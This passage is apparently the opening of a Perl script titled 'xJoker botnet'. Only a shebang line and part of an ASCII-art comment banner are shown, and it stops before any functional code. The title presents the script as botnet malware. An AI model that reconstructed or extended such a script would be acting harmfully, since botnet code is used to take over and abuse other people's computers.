xJoker botnet [Perl]

#!/usr/bin/perl##################################################                  _,.-----.,_#               ,-~           ~-.#             ,^_xJoker  ___^.#           Y  ,--._    I    _.--.  Y#           | Y     ~-. | ,-~     Y |#           |